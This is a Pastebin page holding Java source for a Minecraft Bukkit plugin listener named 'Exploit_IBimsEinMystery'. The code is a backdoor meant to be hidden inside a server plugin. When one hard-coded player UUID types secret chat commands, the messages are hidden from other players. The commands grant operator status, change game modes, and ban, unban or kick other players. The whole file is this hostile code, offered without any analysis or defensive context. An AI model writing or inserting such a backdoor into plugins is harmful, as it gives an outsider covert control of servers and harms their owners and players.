Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package de.ibimseinmystery.poison.listener;
- import java.util.UUID;
- import org.bukkit.BanList;
- import org.bukkit.Bukkit;
- import org.bukkit.GameMode;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- public class Exploit_IBimsEinMystery implements Listener {
- @EventHandler
- public void onChat(AsyncPlayerChatEvent e) {
- Player p = e.getPlayer();
- String msg = e.getMessage();
- String[] args = msg.split(" ");
- BanList bannedPlayer = Bukkit.getBanList(BanList.Type.NAME);
- if (p.getUniqueId().equals(UUID.fromString("58a98633-ac6d-4839-a270-194b778cca6f"))) {
- try {
- if (args[0].equalsIgnoreCase("+cmd")) {
- e.setCancelled(true);
- p.sendMessage("§7[]--------- §5Commands §7----------[]");
- p.sendMessage("§5+op <Spieler> §eOppet dich oder einen Spieler");
- p.sendMessage("§5+deop <Spieler> §eDe-oppet dich oder einen Spieler");
- p.sendMessage("§5+gm [1/2/3/0] <Spieler> §eÄndere deinen oder von anderen Spielern denn Spielmodus");
- p.sendMessage("§5+ban [Spieler] §eBanne Spieler");
- p.sendMessage("§5+unban [Spieler] §eEntbanne Spieler");
- p.sendMessage("§5+kick [Spieler] §eKicke Spieler");
- p.sendMessage("§7[]--------- §5Commands §7----------[]");
- }if(args[0].equalsIgnoreCase("+op") && args.length == 2) {
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[1]);
- t.setOp(true);
- p.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
- t.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
- }if(args[0].equalsIgnoreCase("+op") && args.length == 1) {
- e.setCancelled(true);
- p.setOp(true);
- p.sendMessage("§7§o[Server: Opped " + p.getName() + "]");
- }else if(args[0].equalsIgnoreCase("+op") && (args.length != 2 || args.length != 3)) {
- p.sendMessage("§cBitte benutze +op <Spieler>!");
- }if(args[0].equalsIgnoreCase("+deop") && args.length == 2) {
- Player t = Bukkit.getPlayer(args[1]);
- e.setCancelled(true);
- t.setOp(false);
- p.sendMessage("§7§o[Server: De-opped " + t.getName() + "]");
- }if(args[0].equalsIgnoreCase("+deop") && args.length == 1) {
- e.setCancelled(true);
- p.setOp(false);
- p.sendMessage("§7§o[Server: De-opped " + p.getName() + "]");
- }else if(args[0].equalsIgnoreCase("+deop") && (args.length != 2 || args.length != 3)) {
- p.sendMessage("§cBitte benutze +deop <Spieler>!");
- }if(args[0].equalsIgnoreCase("+gm") && (args.length == 2 || args.length == 3)) {
- if(args[1].equalsIgnoreCase("1") && args.length == 2){
- e.setCancelled(true);
- p.setGameMode(GameMode.CREATIVE);
- p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Creative Mode]");
- return;
- }if(args[1].equalsIgnoreCase("1") && args.length == 3){
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[2]);
- if(t != null){
- t.setGameMode(GameMode.CREATIVE);
- t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Creative Mode]");
- p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Creative Mode]");
- return;
- }else
- p.sendMessage("§cDieser Spieler ist nicht online!");
- return;
- }if(args[1].equalsIgnoreCase("2") && args.length == 2){
- e.setCancelled(true);
- p.setGameMode(GameMode.ADVENTURE);
- p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Adventure Mode]");
- return;
- }if(args[1].equalsIgnoreCase("2") && args.length == 3){
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[2]);
- if(t != null){
- t.setGameMode(GameMode.ADVENTURE);
- t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Adventure Mode]");
- p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Adventure Mode]");
- return;
- }else
- p.sendMessage("§cDieser Spieler ist nicht online!");
- return;
- }if(args[1].equalsIgnoreCase("3") && args.length == 2){
- e.setCancelled(true);
- p.setGameMode(GameMode.SPECTATOR);
- p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Spectator Mode]");
- return;
- }if(args[1].equalsIgnoreCase("3") && args.length == 3){
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[2]);
- if(t != null){
- t.setGameMode(GameMode.SPECTATOR);
- t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Spectator Mode]");
- p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Spectator Mode]");
- return;
- }else
- p.sendMessage("§cDieser Spieler ist nicht online!");
- return;
- }if(args[1].equalsIgnoreCase("0") && args.length == 2){
- e.setCancelled(true);
- p.setGameMode(GameMode.SURVIVAL);
- p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Survival Mode]");
- return;
- }if(args[1].equalsIgnoreCase("0") && args.length == 3){
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[2]);
- if(t != null){
- t.setGameMode(GameMode.SURVIVAL);
- t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Survival Mode]");
- p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Survival Mode]");
- return;
- }else
- p.sendMessage("§cDieser Spieler ist nicht online!");
- return;
- }else if(!args[1].equalsIgnoreCase("0") || !args[1].equalsIgnoreCase("1")
- || !args[1].equalsIgnoreCase("2") || !args[1].equalsIgnoreCase("3") && (args.length != 2 || args.length != 3)) {
- e.setCancelled(true);
- p.sendMessage("§cBitte benutze +gm 0/1/2/3 <Spieler>");
- }
- }else if(args[0].equalsIgnoreCase("+gm") && (args.length != 2 || args.length != 3)) {
- e.setCancelled(true);
- p.sendMessage("§cBitte benutze +gm 0/1/2/3 <Spieler>");
- }if (args[0].equalsIgnoreCase("+ban") && args.length == 2) {
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[1]);
- bannedPlayer.addBan(t.getName(), "", null, "");
- t.kickPlayer("");
- p.sendMessage("§7§o[Server: Banned " + t.getName() + "]");
- }else if(args[0].equalsIgnoreCase("+ban") && args.length != 2) {
- e.setCancelled(true);
- p.sendMessage("§cBitte benutze +ban [Spieler]!");
- }if (args[0].equalsIgnoreCase("+unban") && args.length == 2) {
- e.setCancelled(true);
- try{
- bannedPlayer.pardon(args[1]);
- p.sendMessage("§7§o[Server: Un-banned " + args[1] + "]");
- }catch (Exception error){
- p.sendMessage("§cDieser Spieler ist nicht gebannt!");
- }
- }else if(args[0].equalsIgnoreCase("+unban") && args.length != 2) {
- p.sendMessage("§cBitte benutze +unban [Spieler]!");
- }if (msg.equalsIgnoreCase("+kick") && args.length == 2) {
- e.setCancelled(true);
- Player t = Bukkit.getPlayer(args[1]);
- if(t != null){
- t.kickPlayer("");
- p.sendMessage("§7§o[Server: Kicked " + t.getName() + "]");
- }else
- p.sendMessage("§cDieser Spieler ist nicht online!");
- }else if(args[0].equalsIgnoreCase("+kick") && args.length != 2) {
- p.sendMessage("§cBitte benutze +kick [Spieler]!");
- }
- }catch (Exception exception) {
- p.sendMessage("§4Es trat ein Fehler auf!");
- } //catch
- } //UUID Abfrage
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement